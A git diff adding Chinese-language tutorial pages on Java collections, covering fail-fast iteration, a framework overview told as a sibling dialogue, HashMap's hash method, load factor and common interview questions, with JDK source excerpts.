= null; // clear to let GC do its work +} +``` + +modCount 的值变成了 4。 + +执行第二次循环时,会执行 Itr 的 next 方法(`String str = (String) var3.next();`),next 方法就会调用 `checkForComodification` 方法,此时 expectedModCount 为 3,modCount 为 4,就只好抛出 ConcurrentModificationException 异常了。 + +那其实在阿里巴巴的 Java 开发手册里也提到了,不要在 for-each 循环里进行元素的 remove/add 操作。remove 元素请使用 Iterator 方式。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/fail-fast-02.png) + +那原因其实就是我们上面分析的这些,出于 fail-fast 保护机制。 + +**那该如何正确地删除元素呢**? + +**1)remove 后 break** + +```java +List list = new ArrayList<>(); +list.add("沉默王二"); +list.add("沉默王三"); +list.add("一个文章真特么有趣的程序员"); + +for (String str : list) { + if ("沉默王二".equals(str)) { + list.remove(str); + break; + } +} +``` + +break 后循环就不再遍历了,意味着 Iterator 的 next 方法不再执行了,也就意味着 `checkForComodification` 方法不再执行了,所以异常也就不会抛出了。 + +但是呢,当 List 中有重复元素要删除的时候,break 就不合适了。 + + +**2)for 循环** + +```java +List list = new ArrayList<>(); +list.add("沉默王二"); +list.add("沉默王三"); +list.add("一个文章真特么有趣的程序员"); +for (int i = 0, n = list.size(); i < n; i++) { + String str = list.get(i); + if ("沉默王二".equals(str)) { + list.remove(str); + } +} +``` + +for 循环虽然可以避开 fail-fast 保护机制,也就说 remove 元素后不再抛出异常;但是呢,这段程序在原则上是有问题的。为什么呢? + +第一次循环的时候,i 为 0,`list.size()` 为 3,当执行完 remove 方法后,i 为 1,`list.size()` 却变成了 2,因为 list 的大小在 remove 后发生了变化,也就意味着“沉默王三”这个元素被跳过了。能明白吗? + +remove 之前 `list.get(1)` 为“沉默王三”;但 remove 之后 `list.get(1)` 变成了“一个文章真特么有趣的程序员”,而 `list.get(0)` 变成了“沉默王三”。 + +**3)使用 Iterator** + +```java +List list = new ArrayList<>(); +list.add("沉默王二"); +list.add("沉默王三"); +list.add("一个文章真特么有趣的程序员"); + +Iterator itr = list.iterator(); + +while (itr.hasNext()) { + String str = itr.next(); + if ("沉默王二".equals(str)) { + itr.remove(); + } +} +``` + +为什么使用 Iterator 的 remove 方法就可以避开 fail-fast 保护机制呢?看一下 remove 的源码就明白了。 + +```java +public void remove() { + if (lastRet < 0) + throw new IllegalStateException(); + checkForComodification(); + + try { + ArrayList.this.remove(lastRet); + cursor = lastRet; + lastRet = -1; + expectedModCount = modCount; + } catch (IndexOutOfBoundsException ex) { + throw new ConcurrentModificationException(); + } +} +``` + +删除完会执行 `expectedModCount = modCount`,保证了 expectedModCount 与 modCount 的同步。 + +----- + +简单地总结一下,fail-fast 是一种保护机制,可以通过 for-each 循环删除集合的元素的方式验证这种保护机制。 + +那也就是说,for-each 本质上是一种语法糖,遍历集合时很方面,但并不适合拿来操作集合中的元素(增删)。 \ No newline at end of file diff --git a/docs/collection/gailan.md b/docs/collection/gailan.md new file mode 100644 index 0000000000..cdbaf91f76 --- /dev/null +++ b/docs/collection/gailan.md @@ -0,0 +1,196 @@ + +眼瞅着三妹的王者荣耀杀得正嗨,我趁机喊到:“别打了,三妹,我们来一起学习 Java 的集合框架吧。” + +“才不要呢,等我打完这一局啊。”三妹倔强地说。 + +“好吧。”我只好摊摊手地说,“那我先画张集合框架的结构图等着你。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/gailan-01.png) + + +“完了没?三妹。” + +“完了好一会儿了,二哥,你图画得真慢,让我瞧瞧怎么样?” + +“害,图要画得清晰明了,不容易的。三妹,你瞧,不错吧。” + +Java 集合框架可以分为两条大的支线: + +- Collection,主要由 List、Set、Queue 组成,List 代表有序、可重复的集合,典型代表就是封装了动态数组的 ArrayList 和封装了链表的 LinkedList;Set 代表无序、不可重复的集合,典型代表就是 HashSet 和 TreeSet;Queue 代表队列,典型代表就是双端队列 ArrayDeque,以及优先级队列 PriorityQue。 +- Map,代表键值对的集合,典型代表就是 HashMap。 + +“接下来,我们再来过一遍。” + +### 01、List + +>List 的特点是存取有序,可以存放重复的元素,可以用下标对元素进行操作 + +**1)ArrayList** + +- ArrayList 是由数组实现的,支持随机存取,也就是可以通过下标直接存取元素; +- 从尾部插入和删除元素会比较快捷,从中间插入和删除元素会比较低效,因为涉及到数组元素的复制和移动; +- 如果内部数组的容易不足时会自动扩容,因此当元素非常庞大的时候,效率会比较低。 + +**2)LinkedList** + +- LinkedList 是由双向链表实现的,不支持随机存取,只能从一端开始遍历,直到找到需要的元素后返回; +- 任意位置插入和删除元素都很方便,因为只需要改变前一个节点和后一个节点的引用即可,不像 ArrayList 那样需要复制和移动数组元素; +- 因为每个元素都存储了前一个和后一个节点的引用,所以相对来说,占用的内存空间会比 ArrayList 多一些。 + +**3)Vector 和 Stack** + +List 的实现类还有一个 Vector,是一个元老级的类,比 ArrayList 出现得更早。ArrayList 和 Vector 非常相似,只不过 Vector 是线程安全的,像 get、set、add 这些方法都加了 `synchronized` 关键字,就导致执行执行效率会比较低,所以现在已经很少用了。 + +更好的选择是并发包下的 CopyOnWriteArrayList。 + +Stack 是 Vector 的一个子类,本质上也是由动态数组实现的,只不过还实现了先进后出的功能(在 get、set、add 方法的基础上追加了 pop、peek 等方法),所以叫栈。 + +不过,由于 Stack 执行效率比较低(方法上同样加了 synchronized 关键字),就被双端队列 ArrayDeque 取代了。 + +### 02、Set + +> Set 的特点是存取无序,不可以存放重复的元素,不可以用下标对元素进行操作,和 List 有很多不同 + +**1)HashSet** + +HashSet 其实是由 HashMap 实现的,只不过值由一个固定的 Object 对象填充,而键用于操作。 + +```java +public class HashSet + extends AbstractSet + implements Set, Cloneable, java.io.Serializable +{ + private transient HashMap map; + + // Dummy value to associate with an Object in the backing Map + private static final Object PRESENT = new Object(); + + public HashSet() { + map = new HashMap<>(); + } + + public boolean add(E e) { + return map.put(e, PRESENT)==null; + } + + public boolean remove(Object o) { + return map.remove(o)==PRESENT; + } +} +``` + +**2)LinkedHashSet** + +LinkedHashSet 继承自 HashSet,其实是由 LinkedHashMap 实现的,LinkedHashSet 的构造方法调用了 HashSet 的一个特殊的构造方法: + +```java +HashSet(int initialCapacity, float loadFactor, boolean dummy) { + map = new LinkedHashMap<>(initialCapacity, loadFactor); +} +``` + +**3)TreeSet** + +“二哥,不用你讲了,我能猜到,TreeSet 是由 TreeMap 实现的,只不过同样操作的键位,值由一个固定的 Object 对象填充。” + +哇,三妹都学会了推理。 + +“是的,总体上来说,Set 集合不是关注的重点,因为底层都是由 Map 实现的,为什么要用 Map 实现呢?三妹你能猜到原因吗?” + +“让我想想。” + +“嗯?难道是因为 Map 的键不允许重复、无序吗?” + +老天,竟然被三妹猜到了。 + +“是的,你这水平长进了呀,三妹。” + +### 03、Queue + +> Queue,也就是队列,通常遵循先进先出(FIFO)的原则,新元素插入到队列的尾部,访问元素返回队列的头部。 + +**1)ArrayDeque** + +从名字上可以看得出,ArrayDeque 是一个基于数组实现的双端队列,为了满足可以同时在数组两端插入或删除元素的需求,数组必须是循环的,也就是说数组的任何一点都可以被看作是起点或者终点。 + +这是一个包含了 4 个元素的双端队列,和一个包含了 5 个元素的双端队列。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/gailan-02.png) + +head 指向队首的第一个有效的元素,tail 指向队尾第一个可以插入元素的空位,因为是循环数组,所以 head 不一定从是从 0 开始,tail 也不一定总是比 head 大。 + +**2)LinkedList** + +LinkedList 一般都归在 List 下,只不过,它也实现了 Deque 接口,可以作为队列来使用。等于说,LinkedList 同时实现了 Stack、Queue、PriorityQueue 的所有功能。 + +**3)PriorityQueue** + +PriorityQueue 是一种优先级队列,它的出队顺序与元素的优先级有关,执行 remove 或者 poll 方法,返回的总是优先级最高的元素。 + +要想有优先级,元素就需要实现 Comparable 接口或者 Comparator 接口。 + +### 04、Map + +> Map 保存的是键值对,键要求保持唯一性,值可以重复。 + +**1)HashMap** + +HashMap 实现了 Map 接口,根据键的 HashCode 值来存储数据,具有很快的访问速度,最多允许一个 null 键。 + +HashMap 不论是在学习还是工作当中,使用频率都是相当高的。随着 JDK 版本的不断更新,HashMap 的底层也优化了很多次,JDK 8 的时候引入了红黑树。 + +```java +final V putVal(int hash, K key, V value, boolean onlyIfAbsent, + boolean evict) { + HashMap.Node[] tab; HashMap.Node p; int n, i; + if ((tab = table) == null || (n = tab.length) == 0) + n = (tab = resize()).length; + if ((p = tab[i = (n - 1) & hash]) == null) + tab[i] = newNode(hash, key, value, null); + else { + HashMap.Node e; K k; + if (p.hash == hash && + ((k = p.key) == key || (key != null && key.equals(k)))) + e = p; + else if (p instanceof HashMap.TreeNode) + e = ((HashMap.TreeNode)p).putTreeVal(this, tab, hash, key, value); + else { + for (int binCount = 0; ; ++binCount) { + if ((e = p.next) == null) { + p.next = newNode(hash, key, value, null); + if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st + treeifyBin(tab, hash); + break; + } + if (e.hash == hash && + ((k = e.key) == key || (key != null && key.equals(k)))) + break; + p = e; + } + } + return null; +} +``` + +一旦 HashMap 发生哈希冲突,就把相同键位的地方改成链表,如果链表的长度超过 8,就该用红黑树。 + +**2)LinkedHashMap** + +大多数情况下,只要不涉及线程安全问题,Map基本都可以使用HashMap,不过HashMap有一个问题,就是迭代HashMap的顺序并不是HashMap放置的顺序,也就是无序。HashMap的这一缺点往往会带来困扰,因为有些场景,我们期待一个有序的Map。 + +大多数情况下,只要不涉及到线程安全的问题,有需要键值对的时候就会使用 HashMap,但 HashMap 有一个问题,就是 HashMap 是无序的。在某些场景下,我们需要一个有序的 Map。 + +于是 LinkedHashMap 就闪亮登场了。LinkedHashMap 是 HashMap 的子类,内部使用链表来记录插入/访问元素的顺序。 + +LinkedHashMap 可以看作是 HashMap + LinkedList 的合体,它使用了 哈希表来存储数据,又用了双向链表来维持顺序。 + +**3)TreeMap** + +HashMap 是无序的,所以遍历的时候元素的顺序也是不可测的。TreeMap 是有序的,它在内部会对键进行排序,所以遍历的时候就可以得到预期的顺序。 + +为了保证顺序,TreeMap 的键必须要实现 Comparable 接口或者 Comparator 接口。 + +“好了,三妹,整体上,集合框架就这么多东西了,随后我们会一一展开来讲,比如说 ArrayList、LinkedList、HashMap 等。”我伸了个懒腰后对三妹说。 + +“好的,二哥。”三妹重新回答沙发上,一盘王者荣耀即将开始。 + diff --git a/docs/collection/hash.md b/docs/collection/hash.md new file mode 100644 index 0000000000..4499c8d068 --- /dev/null +++ b/docs/collection/hash.md @@ -0,0 +1,141 @@ + + +那天,小二去蔚来面试,面试官老王一上来就问他:HashMap 的 hash 方法的原理是什么?当时就把裸面的小二给蚌埠住了。 + +回来后小二找到了我,于是我就写下了这篇文章丢给他,并严厉地告诉他:再搞不懂就别来找我。听到这句话,心头一阵酸,小二绷不住差点要哭 😭。 + +--- + +来看一下 hash 方法的源码(JDK 8 中的 HashMap): + +```java +static final int hash(Object key) { + int h; + return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); +} +``` + +这段代码究竟是用来干嘛的呢? + +我们都知道,`key.hashCode()` 是用来获取键位的哈希值的,理论上,哈希值是一个 int 类型,范围从-2147483648 到 2147483648。前后加起来大概 40 亿的映射空间,只要哈希值映射得比较均匀松散,一般是不会出现哈希碰撞的。 + +但问题是一个 40 亿长度的数组,内存是放不下的。HashMap 扩容之前的数组初始大小只有 16,所以这个哈希值是不能直接拿来用的,用之前要和数组的长度做取模运算,用得到的余数来访问数组下标才行。 + +取模运算有两处。 + +> 取模运算(“Modulo Operation”)和取余运算(“Remainder Operation ”)两个概念有重叠的部分但又不完全一致。主要的区别在于对负整数进行除法运算时操作不同。取模主要是用于计算机术语中,取余则更多是数学概念。 + +一处是往 HashMap 中 put 的时候(`putVal` 方法中): + +```java +final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { + HashMap.Node[] tab; HashMap.Node p; int n, i; + if ((tab = table) == null || (n = tab.length) == 0) + n = (tab = resize()).length; + if ((p = tab[i = (n - 1) & hash]) == null) + tab[i] = newNode(hash, key, value, null); +} +``` + +一处是从 HashMap 中 get 的时候(`getNode` 方法中): + +```java +final Node getNode(int hash, Object key) { + Node[] tab; Node first, e; int n; K k; + if ((tab = table) != null && (n = tab.length) > 0 && + (first = tab[(n - 1) & hash]) != null) {} +} +``` + +其中的 `(n - 1) & hash` 正是取模运算,就是把哈希值和(数组长度-1)做了一个“与”运算。 + +可能大家在疑惑:**取模运算难道不该用 `%` 吗?为什么要用 `&` 呢**? + +这是因为 `&` 运算比 `%` 更加高效,并且当 b 为 2 的 n 次方时,存在下面这样一个公式。 + +> a % b = a & (b-1) + +用 $2^n$ 替换下 b 就是: + +>a % $2^n$ = a & ($2^n$-1) + +我们来验证一下,假如 a = 14,b = 8,也就是 $2^3$,n=3。 + +14%8,14 的二进制为 1110,8 的二进制 1000,8-1 = 7 的二进制为 0111,1110&0111=0110,也就是 0`*`$2^0$+1`*`$2^1$+1`*`$2^2$+0`*`$2^3$=0+2+4+0=6,14%8 刚好也等于 6。 + +这也正好解释了为什么 HashMap 的数组长度要取 2 的整次方。 + +因为(数组长度-1)正好相当于一个“低位掩码”——这个掩码的低位最好全是 1,这样 & 操作才有意义,否则结果就肯定是 0,那么 & 操作就没有意义了。 + +> a&b 操作的结果是:a、b 中对应位同时为 1,则对应结果位为 1,否则为 0 + +2 的整次幂刚好是偶数,偶数-1 是奇数,奇数的二进制最后一位是 1,保证了 hash &(length-1) 的最后一位可能为 0,也可能为 1(这取决于 h 的值),即 & 运算后的结果可能为偶数,也可能为奇数,这样便可以保证哈希值的均匀性。 + +& 操作的结果就是将哈希值的高位全部归零,只保留低位值,用来做数组下标访问。 + +假设某哈希值为 `10100101 11000100 00100101`,用它来做取模运算,我们来看一下结果。HashMap 的初始长度为 16(内部是数组),16-1=15,二进制是 `00000000 00000000 00001111`(高位用 0 来补齐): + +``` + 10100101 11000100 00100101 +& 00000000 00000000 00001111 +---------------------------------- + 00000000 00000000 00000101 +``` + +因为 15 的高位全部是 0,所以 & 运算后的高位结果肯定是 0,只剩下 4 个低位 `0101`,也就是十进制的 5,也就是将哈希值为 `10100101 11000100 00100101` 的键放在数组的第 5 位。 + +明白了取模运算后,我们再来看 put 方法的源码: + +```java +public V put(K key, V value) { + return putVal(hash(key), key, value, false, true); +} +``` + +以及 get 方法的源码: + +```java +public V get(Object key) { + HashMap.Node e; + return (e = getNode(hash(key), key)) == null ? null : e.value; +} +``` + +它们在调用 putVal 和 getNode 之前,都会先调用 hash 方法: + +```java +static final int hash(Object key) { + int h; + return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); +} +``` + +那为什么取模运算之前要调用 hash 方法呢? + +看下面这个图。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hash-01.png) + +某哈希值为 `11111111 11111111 11110000 1110 1010`,将它右移 16 位(h >>> 16),刚好是 `00000000 00000000 11111111 11111111`,再进行异或操作(h ^ (h >>> 16)),结果是 `11111111 11111111 00001111 00010101` + +> 异或(`^`)运算是基于二进制的位运算,采用符号 XOR 或者`^`来表示,运算规则是:如果是同值取 0、异值取 1 + +由于混合了原来哈希值的高位和低位,所以低位的随机性加大了(掺杂了部分高位的特征,高位的信息也得到了保留)。 + +结果再与数组长度-1(`00000000 00000000 00000000 00001111`)做取模运算,得到的下标就是 `00000000 00000000 00000000 00000101`,也就是 5。 + +还记得之前我们假设的某哈希值 `10100101 11000100 00100101` 吗?在没有调用 hash 方法之前,与 15 做取模运算后的结果也是 5,我们不妨来看看调用 hash 之后的取模运算结果是多少。 + +某哈希值 `00000000 10100101 11000100 00100101`(补齐 32 位),将它右移 16 位(h >>> 16),刚好是 `00000000 00000000 00000000 10100101`,再进行异或操作(h ^ (h >>> 16)),结果是 `00000000 10100101 00111011 10000000` + +结果再与数组长度-1(`00000000 00000000 00000000 00001111`)做取模运算,得到的下标就是 `00000000 00000000 00000000 00000000`,也就是 0。 + +综上所述,hash 方法是用来做哈希值优化的,把哈希值右移 16 位,也就正好是自己长度的一半,之后与原哈希值做异或运算,这样就混合了原哈希值中的高位和低位,增大了随机性。 + +说白了,**hash 方法就是为了增加随机性,让数据元素更加均衡的分布,减少碰撞**。 + +参考链接: + +> https://blog.csdn.net/lonyw/article/details/80519652 +>https://zhuanlan.zhihu.com/p/91636401 +>https://www.zhihu.com/question/20733617 \ No newline at end of file diff --git a/docs/collection/hashmap-interview.md b/docs/collection/hashmap-interview.md new file mode 100644 index 0000000000..fc05c30d52 --- /dev/null +++ b/docs/collection/hashmap-interview.md @@ -0,0 +1,193 @@ + + +对于 Java 求职者来说,HashMap 可谓是重中之重,是面试的必考点。然而 HashMap 的知识点非常多,复习起来花费精力很大。 + +为了减轻大家在面试时的痛苦,二哥将读者库森的这篇 HashMap 的面试专题文章整理出来分享给大家,希望对小伙伴们有所帮助! + +>链接:https://zhuanlan.zhihu.com/p/362214327 + +### 01、HashMap的底层数据结构是什么? + +JDK 7 中,HashMap 由“数组+链表”组成,数组是 HashMap 的主体,链表则是主要为了解决哈希冲突而存在的。 + +在 JDK 8 中,HashMap 由“数组+链表+红黑树”组成。链表过长,会严重影响 HashMap 的性能,而红黑树搜索的时间复杂度是 O(logn),而链表是糟糕的 O(n)。因此,JDK 8 对数据结构做了进一步的优化,引入了红黑树,链表和红黑树在达到一定条件会进行转换: + +- 当链表超过 8 且数据总量超过 64 时会转红黑树。 +- 将链表转换成红黑树前会判断,如果当前数组的长度小于 64,那么会选择先进行数组扩容,而不是转换为红黑树,以减少搜索时间。 + +链表长度超过 8 体现在 putVal 方法中的这段代码: + +```java +//链表长度大于8转换为红黑树进行处理 +if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st + treeifyBin(tab, hash); +``` + + table 长度为 64 体现在 treeifyBin 方法中的这段代码:: + +```java +final void treeifyBin(Node[] tab, int hash) { + int n, index; Node e; + if (tab == null || (n = tab.length) < MIN_TREEIFY_CAPACITY) + resize(); +} +``` + +MIN_TREEIFY_CAPACITY 的值正好为 64。 + +```java +static final int MIN_TREEIFY_CAPACITY = 64; +``` + +JDK 8 中 HashMap 的结构示意图: + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-interview-01.png) + +### 02、为什么链表改为红黑树的阈值是 8? + +因为泊松分布,我们来看作者在源码中的注释: + +>Because TreeNodes are about twice the size of regular nodes, we + use them only when bins contain enough nodes to warrant use + (see TREEIFY_THRESHOLD). And when they become too small (due to + removal or resizing) they are converted back to plain bins. In + usages with well-distributed user hashCodes, tree bins are + rarely used. Ideally, under random hashCodes, the frequency of + nodes in bins follows a Poisson distribution + (http://en.wikipedia.org/wiki/Poisson_distribution) with a + parameter of about 0.5 on average for the default resizing + threshold of 0.75, although with a large variance because of + resizing granularity. Ignoring variance, the expected + occurrences of list size k are (exp(-0.5) pow(0.5, k) / + factorial(k)). The first values are: + 0: 0.60653066
+ 1: 0.30326533
+ 2: 0.07581633
+ 3: 0.01263606
+ 4: 0.00157952
+ 5: 0.00015795
+ 6: 0.00001316
+ 7: 0.00000094
+ 8: 0.00000006
+ more: less than 1 in ten million + +翻译过来大概的意思是:理想情况下使用随机的哈希码,容器中节点分布在 hash 桶中的频率遵循泊松分布,按照泊松分布的计算公式计算出了桶中元素个数和概率的对照表,可以看到链表中元素个数为 8 时的概率已经非常小,再多的就更少了,所以原作者在选择链表元素个数时选择了 8,是根据概率统计而选择的。 + +### 03、解决hash冲突的办法有哪些?HashMap用的哪种? + +解决Hash冲突方法有: + +- 开放定址法:也称为再散列法,基本思想就是,如果p=H(key)出现冲突时,则以p为基础,再次hash,p1=H(p),如果p1再次出现冲突,则以p1为基础,以此类推,直到找到一个不冲突的哈希地址pi。因此开放定址法所需要的hash表的长度要大于等于所需要存放的元素,而且因为存在再次hash,所以只能在删除的节点上做标记,而不能真正删除节点。 +- 再哈希法:双重散列,多重散列,提供多个不同的hash函数,当R1=H1(key1)发生冲突时,再计算R2=H2(key1),直到没有冲突为止。这样做虽然不易产生堆集,但增加了计算的时间。 +- 链地址法:拉链法,将哈希值相同的元素构成一个同义词的单链表,并将单链表的头指针存放在哈希表的第i个单元中,查找、插入和删除主要在同义词链表中进行。链表法适用于经常进行插入和删除的情况。 +- 建立公共溢出区:将哈希表分为公共表和溢出表,当溢出发生时,将所有溢出数据统一放到溢出区。 + +HashMap中采用的是链地址法 。 + +### 04、为什么在解决 hash 冲突的时候,不直接用红黑树?而选择先用链表,再转红黑树? + +因为红黑树需要进行左旋,右旋,变色这些操作来保持平衡,而单链表不需要。 + +当元素小于 8 个的时候,此时做查询操作,链表结构已经能保证查询性能。当元素大于 8 个的时候, 红黑树搜索时间复杂度是 O(logn),而链表是 O(n),此时需要红黑树来加快查询速度,但是新增节点的效率变慢了。 + +因此,如果一开始就用红黑树结构,元素太少,新增效率又比较慢,无疑这是浪费性能的。 + +### 05、HashMap默认加载因子是多少?为什么是 0.75,不是 0.6 或者 0.8 ? + +作为一般规则,默认负载因子(0.75)在时间和空间成本上提供了很好的折衷。 + +[详情参照这篇](https://mp.weixin.qq.com/s/a3qfatEWizKK1CpYaxVBbA) + +### 06、HashMap 中 key 的存储索引是怎么计算的? + +首先根据key的值计算出hashcode的值,然后根据hashcode计算出hash值,最后通过hash&(length-1)计算得到存储的位置。 + + +[详情参照这篇](https://mp.weixin.qq.com/s/aS2dg4Dj1Efwujmv-6YTBg) + +### 07、JDK 8 为什么要 hashcode 异或其右移十六位的值? + +因为在JDK 7 中扰动了 4 次,计算 hash 值的性能会稍差一点点。 + +从速度、功效、质量来考虑,JDK 8 优化了高位运算的算法,通过hashCode()的高16位异或低16位实现:`(h = k.hashCode()) ^ (h >>> 16)`。 + +这么做可以在数组 table 的 length 比较小的时候,也能保证考虑到高低Bit都参与到Hash的计算中,同时不会有太大的开销。 + +### 08、为什么 hash 值要与length-1相与? + +- 把 hash 值对数组长度取模运算,模运算的消耗很大,没有位运算快。 +- 当 length 总是 2 的n次方时,`h& (length-1) `运算等价于对length取模,也就是 h%length,但是 & 比 % 具有更高的效率。 + +### 09、HashMap数组的长度为什么是 2 的幂次方? + +2 的 N 次幂有助于减少碰撞的几率。如果 length 为2的幂次方,则 length-1 转化为二进制必定是11111……的形式,在与h的二进制与操作效率会非常的快,而且空间不浪费。我们来举个例子,看下图: + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-interview-02.png) + +当 length =15时,6 和 7 的结果一样,这样表示他们在 table 存储的位置是相同的,也就是产生了碰撞,6、7就会在一个位置形成链表,4和5的结果也是一样,这样就会导致查询速度降低。 + +如果我们进一步分析,还会发现空间浪费非常大,以 length=15 为例,在 1、3、5、7、9、11、13、15 这八处没有存放数据。因为hash值在与14(即 1110)进行&运算时,得到的结果最后一位永远都是0,即 0001、0011、0101、0111、1001、1011、1101、1111位置处是不可能存储数据的。 + +**再补充数组容量计算的小奥秘。** + +HashMap 构造函数允许用户传入的容量不是 2 的 n 次方,因为它可以自动地将传入的容量转换为 2 的 n 次方。会取大于或等于这个数的 且最近的2次幂作为 table 数组的初始容量,使用tableSizeFor(int)方法,如 tableSizeFor(10) = 16(2 的 4 次幂),tableSizeFor(20) = 32(2 的 5 次幂),也就是说 table 数组的长度总是 2 的次幂。JDK 8 源码如下: + +```java +static final int tableSizeFor(int cap) { + int n = cap - 1; + n |= n >>> 1; + n |= n >>> 2; + n |= n >>> 4; + n |= n >>> 8; + n |= n >>> 16; + return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1; + } +``` + +让cap-1再赋值给n的目的是另找到的目标值大于或等于原值。例如二进制1000,十进制数值为8。如果不对它减1而直接操作,将得到答案10000,即16。显然不是结果。减1后二进制为111,再进行操作则会得到原来的数值1000,即8。 + +### 10、HashMap 的put方法流程? + +以JDK 8为例,简要流程如下: + +1、首先根据 key 的值计算 hash 值,找到该元素在数组中存储的下标; + +2、如果数组是空的,则调用 resize 进行初始化; + +3、如果没有哈希冲突直接放在对应的数组下标里; + +4、如果冲突了,且 key 已经存在,就覆盖掉 value; + +5、如果冲突后,发现该节点是红黑树,就将这个节点挂在树上; + +6、如果冲突后是链表,判断该链表是否大于 8 ,如果大于 8 并且数组容量小于 64,就进行扩容;如果链表节点大于 8 并且数组的容量大于 64,则将这个结构转换为红黑树;否则,链表插入键值对,若 key 存在,就覆盖掉 value。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-interview-03.png) + +### 11、HashMap 的扩容方式? + +HashMap 在容量超过负载因子所定义的容量之后,就会扩容。 + +[详情参照这篇](https://mp.weixin.qq.com/s/0KSpdBJMfXSVH63XadVdmw) + +### 12、一般用什么作为HashMap的key? + +一般用Integer、String 这种不可变类当作 HashMap 的 key,String 最为常见。 + +- 因为字符串是不可变的,所以在它创建的时候 hashcode 就被缓存了,不需要重新计算。 +- 因为获取对象的时候要用到 equals() 和 hashCode() 方法,那么键对象正确的重写这两个方法是非常重要的。Integer、String 这些类已经很规范的重写了 hashCode() 以及 equals() 方法。 + +### 13、HashMap为什么线程不安全? + +- JDK 7 时多线程下扩容会造成死循环。 +- 多线程的put可能导致元素的丢失。 +- put和get并发时,可能导致get为null。 + +[详情参照这篇](https://mp.weixin.qq.com/s/qk_neCdzM3aB6pVWVTHhNw) + + + + + diff --git a/docs/collection/hashmap-loadfactor.md b/docs/collection/hashmap-loadfactor.md new file mode 100644 index 0000000000..8b7b158060 --- /dev/null +++ b/docs/collection/hashmap-loadfactor.md @@ -0,0 +1,184 @@ + + +**Warning**:这是《Java 程序员进阶之路》专栏的第 57 篇,我们来聊聊 HashMap的加载因子,为什么必须是0.75,而不是0.8,0.6。 + +本文 GitHub 上已同步,有 GitHub 账号的小伙伴,记得给二哥安排一波 star 呀!冲 GitHub 的 trending 榜单,求求各位了。 + +>GitHub 地址:https://github.com/itwanger/toBeBetterJavaer +>在线阅读地址:https://itwanger.gitee.io/tobebetterjavaer + +------- + +JDK 8 中的 HashMap 是用数组+链表+红黑树实现的,我们要想往 HashMap 中放数据或者取数据,就需要确定数据在数组中的下标。 + +先把数据的键进行一次 hash: + +```java +static final int hash(Object key) { + int h; + return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); +} +``` + +再做一次取模运算确定下标: + +``` +i = (n - 1) & hash +``` + +哈希表这样的数据结构容易产生两个问题: + +- 数组的容量过小,经过哈希计算后的下标,容易出现冲突; +- 数组的容量过大,导致空间利用率不高。 + +加载因子是用来表示 HashMap 中数据的填满程度: + +>加载因子 = 填入哈希表中的数据个数 / 哈希表的长度 + +这就意味着: + +- 加载因子越小,填满的数据就越少,哈希冲突的几率就减少了,但浪费了空间,而且还会提高扩容的触发几率; +- 加载因子越大,填满的数据就越多,空间利用率就高,但哈希冲突的几率就变大了。 + +好难!!!! + +这就必须在“**哈希冲突**”与“**空间利用率**”两者之间有所取舍,尽量保持平衡,谁也不碍着谁。 + +我们知道,HashMap 是通过拉链法来解决哈希冲突的。 + +为了减少哈希冲突发生的概率,当 HashMap 的数组长度达到一个**临界值**的时候,就会触发扩容(可以点击[链接](https://mp.weixin.qq.com/s/0KSpdBJMfXSVH63XadVdmw)查看 HashMap 的扩容机制),扩容后会将之前小数组中的元素转移到大数组中,这是一个相当耗时的操作。 + +这个临界值由什么来确定呢? + +>临界值 = 初始容量 * 加载因子 + +一开始,HashMap 的容量是 16: + +```java +static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16 +``` + +加载因子是 0.75: + +```java +static final float DEFAULT_LOAD_FACTOR = 0.75f; +``` + +也就是说,当 16*0.75=12 时,会触发扩容机制。 + +为什么加载因子会选择 0.75 呢?为什么不是0.8、0.6呢? + +这跟统计学里的一个很重要的原理——泊松分布有关。 + +是时候上维基百科了: + +>泊松分布,是一种统计与概率学里常见到的离散概率分布,由法国数学家西莫恩·德尼·泊松在1838年时提出。它会对随机事件的发生次数进行建模,适用于涉及计算在给定的时间段、距离、面积等范围内发生随机事件的次数的应用情形。 + +阮一峰老师曾在一篇博文中详细的介绍了泊松分布和指数分布,大家可以去看一下。 + +>链接:https://www.ruanyifeng.com/blog/2015/06/poisson-distribution.html + +具体是用这么一个公式来表示的。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/hashmap-loadfactor-01.png) + +等号的左边,P 表示概率,N表示某种函数关系,t 表示时间,n 表示数量。 + +在 HashMap 的 doc 文档里,曾有这么一段描述: + +``` +Because TreeNodes are about twice the size of regular nodes, we +use them only when bins contain enough nodes to warrant use +(see TREEIFY_THRESHOLD). And when they become too small (due to +removal or resizing) they are converted back to plain bins. In +usages with well-distributed user hashCodes, tree bins are +rarely used. Ideally, under random hashCodes, the frequency of +nodes in bins follows a Poisson distribution +(http://en.wikipedia.org/wiki/Poisson_distribution) with a +parameter of about 0.5 on average for the default resizing +threshold of 0.75, although with a large variance because of +resizing granularity. Ignoring variance, the expected +occurrences of list size k are (exp(-0.5) * pow(0.5, k) / +factorial(k)). The first values are: +0: 0.60653066 +1: 0.30326533 +2: 0.07581633 +3: 0.01263606 +4: 0.00157952 +5: 0.00015795 +6: 0.00001316 +7: 0.00000094 +8: 0.00000006 +more: less than 1 in ten million +``` + +大致的意思就是: + +因为 TreeNode(红黑树)的大小约为链表节点的两倍,所以我们只有在一个拉链已经拉了足够节点的时候才会转为tree(参考TREEIFY_THRESHOLD)。并且,当这个hash桶的节点因为移除或者扩容后resize数量变小的时候,我们会将树再转为拉链。如果一个用户的数据的hashcode值分布得很均匀的话,就会很少使用到红黑树。 + 